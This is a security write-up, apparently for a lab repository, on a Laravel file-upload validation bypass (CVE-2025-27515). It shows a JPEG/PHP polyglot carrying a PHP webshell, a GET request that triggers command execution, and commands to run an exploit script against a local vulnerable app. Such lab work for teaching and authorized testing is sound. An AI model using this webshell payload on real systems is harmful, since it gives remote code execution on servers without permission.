joaovicdev@sec:~$

$ cat cve-2025-27515-laravel-file-upload-bypass.mdx

CVE-2025-27515: Laravel file-upload validation bypass — polyglot JPEG/PHP PoC

[CVE-2025-27515][cve][laravel][file-upload][webshell][poc]
PoC & exploit on GitHub

Authorization: this is a self-contained lab built for education and authorized security testing only. Run it against a target you own or are explicitly permitted to test. Uploading webshells to systems you don't control is unauthorized access — and a crime in most jurisdictions.

Summary

CVE-2025-27515 is a file-upload validation bypass in the Laravel framework (versions ≤ 12.0.0), classified as CWE-20 (Improper Input Validation) and rated Medium/High. It lets an attacker upload a malicious file that should have been rejected — the kind of file that turns an innocent "profile picture" form into remote code execution.

This repository is a full attacker-and-victim lab: a deliberately vulnerable Laravel application exposing an array-based upload endpoint, plus a Python exploit that crafts the payload and drives the upload all the way to a working webshell.

How the vulnerability works

Laravel validates uploaded files with rules like file, image, mimes, and size constraints. When an application accepts multiple files it typically uses a wildcard rule against an array field:

the vulnerable validation shape
$request->validate([
    'files.*' => 'file|mimes:jpg,png|max:2048',
]);

The vulnerability lives in how Laravel processes these array-based file uploads (files.*). Weaknesses in the wildcard validation path let a crafted upload slip through the checks that were supposed to constrain type and extension — so a file the ruleset should have rejected is accepted and written to disk anyway.

Once validation is bypassed, everything downstream trusts the file: it's stored, often under a web-served path, and the "it's just a JPEG" assumption is what gets exploited.

Affected versions

Laravel FrameworkStatus
≤ 12.0.0Vulnerable
Patched releaseUpgrade to a fixed version and re-verify the rules

The polyglot payload

The exploit smuggles executable PHP inside a file that still looks and validates like an image — a JPEG/PHP polyglot. Three tricks stack together, each defeating one layer of validation:

polyglot.jpg — structure
FF D8 FF E0            # valid JPEG magic bytes (SOI + APP0)
...JPEG header/data... # keeps MIME sniffing happy → image/jpeg
<?php system($_GET['cmd']); ?>   # embedded PHP webshell
  • JPEG magic bytes FF D8 FF E0 — the file starts with a genuine JPEG signature, so content/MIME sniffing reports image/jpeg and the mimes/image checks pass.
  • Embedded <?php system($_GET['cmd']); ?> — the actual payload. If the PHP interpreter ever executes this file, it runs whatever command is passed in the cmd query parameter.
  • .jpg extension — a benign, allowlisted extension that defeats extension-based filters while still routing to the PHP handler on a misconfigured server.

Exploitation

  1. Craft the JPEG/PHP polyglot — valid JPEG header up front, <?php ... ?> webshell appended, saved with a .jpg extension.
  2. Upload it through the vulnerable files.* endpoint. The wildcard validation bypass means the polyglot passes the mimes/file rules.
  3. Store — Laravel accepts the file and writes it to a web-accessible upload directory.
  4. Execute — request the stored file with a command in the query string; the embedded PHP runs and returns command output → remote code execution.
triggering the webshell
GET /uploads/polyglot.jpg?cmd=id

Running it

Prerequisites: PHP with the Laravel app, Composer dependencies installed, and Python 3.

1. Start the vulnerable application:

terminal 1
php artisan serve
# app is served at http://localhost:8000/upload

2. Fire the exploit from a second terminal:

terminal 2
pip3 install -r requirements.txt
python3 exploit.py http://localhost:8000

The exploit builds the polyglot, submits it to the upload endpoint, and confirms the bypass by reaching the stored file — from there the ?cmd= parameter gives command execution on the target.

References